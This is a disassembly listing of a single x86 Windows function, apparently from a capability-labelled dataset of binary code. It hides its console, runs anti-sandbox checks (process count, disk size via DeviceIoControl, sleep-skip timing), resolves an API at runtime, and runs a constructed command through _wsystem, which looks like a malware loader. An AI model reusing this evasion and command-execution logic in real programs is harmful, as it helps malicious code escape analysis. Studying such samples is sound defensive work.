Function at 0x402eb0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x2a0
mov dword [esp + 0x298], 0
mov eax, dword [sym.imp.KERNEL32.dll_FreeConsole]
call eax
mov eax, esp
mov dword [eax], 0x438134
lea ecx, [esp + 0x28c]
call fcn.004015c0
sub esp, 4
call fcn.00402890
mov dword [esp + 0x94], eax
jmp 0x402ef7
mov eax, dword [esp + 0x94]
cmp eax, 0x32
jge 0x402f35
mov dword [esp + 0x298], 0
mov dword [esp + 0x280], 1
jmp 0x403dd8
call fcn.00401e80
mov byte [esp + 0x93], al
jmp 0x402f46
mov al, byte [esp + 0x93]
test al, 1
jne 0x402f66
jmp 0x402f5a
mov dword [esp], 1
call sub.msvcrt.dll_exit
mov eax, esp
mov dword [eax + 0x18], 0
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 3
mov dword [eax + 0xc], 0
mov dword [eax + 8], 3
mov dword [eax + 4], 0
mov dword [eax], 0x438138
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
call eax
sub esp, 0x1c
mov dword [esp + 0x8c], eax
jmp 0x402fae
mov eax, dword [esp + 0x8c]
mov dword [esp + 0x27c], eax
mov ecx, dword [esp + 0x27c]
mov eax, esp
mov dword [esp + 0x88], eax
lea edx, [esp + 0x25c]
mov dword [eax + 0x18], edx
lea edx, [esp + 0x260]
mov dword [eax + 0x10], edx
mov dword [eax], ecx
mov dword [eax + 0x1c], 0
mov dword [eax + 0x14], 0x18
mov dword [eax + 0xc], 0
mov dword [eax + 8], 0
mov dword [eax + 4], 0x70000
mov eax, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call eax
sub esp, 0x20
jmp 0x403014
mov eax, dword [esp + 0x260]
mov edx, dword [esp + 0x264]
mov ecx, dword [esp + 0x26c]
imul edx, ecx
mov dword [esp + 0x80], edx
mul ecx
mov ecx, edx
mov edx, dword [esp + 0x80]
add ecx, edx
mov edx, dword [esp + 0x270]
imul ecx, edx
mul edx
add edx, ecx
mov ecx, dword [esp + 0x274]
imul edx, ecx
mov dword [esp + 0x84], edx
mul ecx
mov ecx, eax
mov eax, edx
mov edx, dword [esp + 0x84]
mov esi, eax
add esi, edx
sar esi, 0x1f
shr esi, 0x16
add ecx, esi
adc eax, edx
mov edx, eax
shld edx, ecx, 0x16
sar eax, 0xa
mov ecx, eax
shr ecx, 0x16
add edx, ecx
adc eax, 0
mov ecx, eax
shld ecx, edx, 0x16
sar eax, 0xa
mov edx, eax
shr edx, 0x16
add ecx, edx
adc eax, 0
shld eax, ecx, 0x16
mov dword [esp + 0x258], eax
cmp dword [esp + 0x258], 0x64
jae 0x4030d4
mov dword [esp + 0x298], 0
mov dword [esp + 0x280], 1
jmp 0x403dd8
mov eax, esp
mov dword [eax], 0x2710
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x4030eb
mov dword [esp + 0x254], 0x7ffe0004
mov dword [esp + 0x250], 0x7ffe0324
mov dword [esp + 0x24c], 0x7ffe0320
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call eax
mov dword [esp + 0x7c], eax
jmp 0x40311c
mov eax, dword [esp + 0x7c]
mov dword [esp + 0x248], eax
mov eax, dword [esp + 0x254]
mov ecx, dword [eax]
mov eax, dword [esp + 0x250]
mov eax, dword [eax]
imul eax, ecx
shl eax, 8
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x24c]
mov eax, dword [eax]
mul ecx
mov ecx, eax
mov eax, dword [esp + 0x78]
shld edx, ecx, 8
add eax, edx
mov dword [esp + 0x244], eax
mov eax, dword [esp + 0x248]
sub eax, dword [esp + 0x244]
cmp eax, 0x64
jbe 0x4031aa
mov eax, dword [esp + 0x244]
sub eax, dword [esp + 0x248]
cmp eax, 0x64
jbe 0x4031aa
mov dword [esp + 0x298], 0
mov dword [esp + 0x280], 1
jmp 0x403dd8
lea ecx, [esp + 0x22b]
call fcn.00403e10
mov dword [esp + 0x74], eax
jmp 0x4031bf
mov ecx, dword [esp + 0x74]
call fcn.00403ed0
mov dword [esp + 0x70], eax
jmp 0x4031d1
mov ecx, dword [esp + 0x70]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0x22c]
call fcn.004013c0
sub esp, 4
jmp 0x4031ed
mov eax, esp
lea ecx, [esp + 0x22c]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x238]
mov dword [eax], ecx
call fcn.00401420
jmp 0x40320c
lea ecx, [esp + 0x22c]
call fcn.0040a810
lea ecx, [esp + 0x203]
call fcn.00403ef0
mov dword [esp + 0x6c], eax
jmp 0x40322d
mov ecx, dword [esp + 0x6c]
call fcn.00403fa0
mov dword [esp + 0x68], eax
jmp 0x40323f
mov ecx, dword [esp + 0x68]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0x204]
call fcn.004013c0
sub esp, 4
jmp 0x40325b
mov eax, esp
lea ecx, [esp + 0x204]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x210]
mov dword [eax], ecx
call fcn.00401420
jmp 0x40327a
mov eax, esp
lea ecx, [esp + 0x210]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x21c]
mov dword [eax], ecx
call fcn.004017e0
jmp 0x403299
mov eax, esp
lea ecx, [esp + 0x21c]
mov dword [eax], ecx
lea ecx, [esp + 0x238]
call fcn.00402dc0
sub esp, 4
jmp 0x4032b8
lea ecx, [esp + 0x21c]
call fcn.0040ae90
lea ecx, [esp + 0x210]
call fcn.0040ae90
lea ecx, [esp + 0x204]
call fcn.0040a810
lea ecx, [esp + 0x1e7]
call fcn.00403fc0
mov dword [esp + 0x64], eax
jmp 0x4032f1
mov ecx, dword [esp + 0x64]
call fcn.00404070
mov dword [esp + 0x60], eax
jmp 0x403303
mov ecx, dword [esp + 0x60]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0x1e8]
call fcn.004013c0
sub esp, 4
jmp 0x40331f
mov eax, esp
lea ecx, [esp + 0x1e8]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x1f4]
mov dword [eax], ecx
call fcn.00401420
jmp 0x40333e
mov eax, esp
lea ecx, [esp + 0x1f4]
mov dword [eax], ecx
lea ecx, [esp + 0x238]
call fcn.00402dc0
sub esp, 4
jmp 0x40335d
lea ecx, [esp + 0x1f4]
call fcn.0040ae90
lea ecx, [esp + 0x1e8]
call fcn.0040a810
mov eax, esp
lea ecx, [esp + 0x16c]
mov dword [eax], ecx
call fcn.00402530
jmp 0x40338a
mov eax, esp
lea ecx, [esp + 0x16c]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x178]
mov dword [eax], ecx
call fcn.00401420
jmp 0x4033a9
mov eax, esp
lea ecx, [esp + 0x28c]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x178]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x184]
mov dword [eax], ecx
call fcn.004040d0
jmp 0x4033d2
mov eax, esp
lea ecx, [esp + 0x160]
mov dword [eax], ecx
call fcn.004022e0
jmp 0x4033e7
mov eax, esp
lea ecx, [esp + 0x160]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x184]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x190]
mov dword [eax], ecx
call fcn.00404090
jmp 0x403410
mov eax, esp
lea ecx, [esp + 0x28c]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x190]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x19c]
mov dword [eax], ecx
call fcn.004040d0
jmp 0x403439
mov eax, esp
lea ecx, [esp + 0x148]
mov dword [eax], ecx
call fcn.00402150
jmp 0x40344e
mov eax, esp
lea ecx, [esp + 0x148]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x154]
mov dword [eax], ecx
call fcn.00401420
jmp 0x40346d
mov eax, esp
lea ecx, [esp + 0x154]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x19c]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x1a8]
mov dword [eax], ecx
call fcn.00404090
jmp 0x403496
mov eax, esp
lea ecx, [esp + 0x28c]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x1a8]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x1b4]
mov dword [eax], ecx
call fcn.004040d0
jmp 0x4034bf
mov eax, esp
lea ecx, [esp + 0x13c]
mov dword [eax], ecx
call fcn.00401f80
jmp 0x4034d4
mov eax, esp
lea ecx, [esp + 0x13c]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x1b4]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x1c0]
mov dword [eax], ecx
call fcn.00404090
jmp 0x4034fd
mov eax, esp
lea ecx, [esp + 0x28c]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x1c0]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x1cc]
mov dword [eax], ecx
call fcn.004040d0
jmp 0x403526
mov eax, esp
lea ecx, [esp + 0x124]
mov dword [eax], ecx
call fcn.00402350
jmp 0x40353b
mov eax, esp
lea ecx, [esp + 0x124]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x130]
mov dword [eax], ecx
call fcn.00401420
jmp 0x40355a
mov eax, esp
lea ecx, [esp + 0x130]
mov dword [eax + 8], ecx
lea ecx, [esp + 0x1cc]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x1d8]
mov dword [eax], ecx
call fcn.00404090
jmp 0x403583
lea ecx, [esp + 0x130]
call fcn.0040ae90
lea ecx, [esp + 0x124]
call fcn.0040a810
lea ecx, [esp + 0x1cc]
call fcn.0040ae90
lea ecx, [esp + 0x1c0]
call fcn.0040ae90
lea ecx, [esp + 0x13c]
call fcn.0040ae90
lea ecx, [esp + 0x1b4]
call fcn.0040ae90
lea ecx, [esp + 0x1a8]
call fcn.0040ae90
lea ecx, [esp + 0x154]
call fcn.0040ae90
lea ecx, [esp + 0x148]
call fcn.0040a810
lea ecx, [esp + 0x19c]
call fcn.0040ae90
lea ecx, [esp + 0x190]
call fcn.0040ae90
lea ecx, [esp + 0x160]
call fcn.0040ae90
lea ecx, [esp + 0x184]
call fcn.0040ae90
lea ecx, [esp + 0x178]
call fcn.0040ae90
lea ecx, [esp + 0x16c]
call fcn.0040a810
mov eax, esp
lea ecx, [esp + 0x1d8]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x118]
mov dword [eax], ecx
call fcn.004017e0
jmp 0x403656
mov eax, esp
lea ecx, [esp + 0x118]
mov dword [eax], ecx
lea ecx, [esp + 0x238]
call fcn.00402dc0
sub esp, 4
jmp 0x403675
lea ecx, [esp + 0x118]
call fcn.0040ae90
mov eax, esp
lea ecx, [esp + 0x100]
mov dword [eax], ecx
call fcn.00401c90
jmp 0x403696
lea ecx, [esp + 0xdb]
call fcn.004041a0
mov dword [esp + 0x5c], eax
jmp 0x4036ab
mov ecx, dword [esp + 0x5c]
call fcn.00404250
mov dword [esp + 0x58], eax
jmp 0x4036bd
mov ecx, dword [esp + 0x58]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0xdc]
call fcn.004013c0
sub esp, 4
jmp 0x4036d9
mov eax, esp
lea ecx, [esp + 0xdc]
mov dword [eax + 4], ecx
lea ecx, [esp + 0xe8]
mov dword [eax], ecx
call fcn.00401420
jmp 0x4036f8
mov eax, esp
lea ecx, [esp + 0xe8]
mov dword [eax], ecx
mov dword [eax + 4], 0
lea ecx, [esp + 0xf4]
mov dword [esp + 0x54], ecx
call fcn.00404270
sub esp, 8
mov ecx, dword [esp + 0x54]
mov eax, esp
mov dword [eax + 8], ecx
lea ecx, [esp + 0x100]
mov dword [eax + 4], ecx
lea ecx, [esp + 0x10c]
mov dword [eax], ecx
call fcn.00404110
jmp 0x403743
lea ecx, [esp + 0xf4]
call fcn.004042a0
lea ecx, [esp + 0xe8]
call fcn.0040ae90
lea ecx, [esp + 0xdc]
call fcn.0040a810
lea ecx, [esp + 0x100]
call fcn.004042a0
lea ecx, [esp + 0xd3]
call fcn.004042c0
mov dword [esp + 0x50], eax
jmp 0x403788
mov ecx, dword [esp + 0x50]
call fcn.00404370
mov dword [esp + 0x4c], eax
jmp 0x40379a
mov ecx, dword [esp + 0x4c]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 0x48], eax
jmp 0x4037b5
lea ecx, [esp + 0xd2]
call fcn.00404390
mov dword [esp + 0x44], eax
jmp 0x4037ca
mov ecx, dword [esp + 0x44]
call fcn.00404440
mov dword [esp + 0x40], eax
jmp 0x4037dc
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x40]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [esp + 0x3c], eax
jmp 0x4037fe
mov eax, dword [esp + 0x3c]
mov dword [esp + 0xd4], eax
lea ecx, [esp + 0xb7]
call fcn.00404460
mov dword [esp + 0x38], eax
jmp 0x40381e
mov ecx, dword [esp + 0x38]
call fcn.00404520
mov dword [esp + 0x34], eax
jmp 0x403830
mov ecx, dword [esp + 0x34]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0xb8]
call fcn.004013c0
sub esp, 4
jmp 0x40384c
mov eax, esp
lea ecx, [esp + 0xb8]
mov dword [eax + 4], ecx
lea ecx, [esp + 0xc4]
mov dword [eax], ecx
call fcn.00401420
jmp 0x40386b
mov eax, esp
lea ecx, [esp + 0xc4]
mov dword [eax], ecx
call fcn.00402b70
jmp 0x403880
lea ecx, [esp + 0xc4]
call fcn.0040ae90
lea ecx, [esp + 0xb8]
call fcn.0040a810
mov eax, dword [esp + 0xd4]
mov dword [esp + 0x30], eax
lea ecx, [esp + 0x238]
call fcn.004013a0
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x10c]
call fcn.00404540
mov edx, dword [esp + 0x2c]
mov esi, eax
mov eax, dword [esp + 0x30]
mov ecx, esp
mov dword [ecx + 8], esi
mov dword [ecx + 4], edx
mov dword [ecx + 0x10], 0
mov dword [ecx + 0xc], 0
mov dword [ecx], 0
call eax
sub esp, 0x14
jmp 0x4038ef
lea ecx, [esp + 0x9b]
call fcn.00404560
mov dword [esp + 0x28], eax
jmp 0x403904
mov ecx, dword [esp + 0x28]
call fcn.00404610
mov dword [esp + 0x24], eax
jmp 0x403916
mov ecx, dword [esp + 0x24]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0x9c]
call fcn.004013c0
sub esp, 4
jmp 0x403932
mov eax, esp
lea ecx, [esp + 0x9c]
mov dword [eax + 4], ecx
lea ecx, [esp + 0xa8]
mov dword [eax], ecx
call fcn.00401420
jmp 0x403951
lea ecx, [esp + 0x9c]
call fcn.0040a810
lea ecx, [esp + 0x10c]
call fcn.00404540
mov ecx, eax
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0xa8]
call fcn.00404630
sub esp, 4
jmp 0x403983
lea ecx, [esp + 0xa8]
call fcn.004013a0
mov ecx, eax
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__wsystem]
call eax
jmp 0x4039a1
mov dword [esp + 0x298], 0
mov dword [esp + 0x280], 1
lea ecx, [esp + 0xa8]
call fcn.0040ae90
lea ecx, [esp + 0x10c]
call fcn.004042a0
lea ecx, [esp + 0x1d8]
call fcn.0040ae90
lea ecx, [esp + 0x238]
call fcn.0040ae90
jmp 0x403dd8
lea ecx, [esp + 0x28c]
call fcn.0040ae90
mov eax, dword [esp + 0x298]
lea esp, [ebp - 4]
pop esi
pop ebp
ret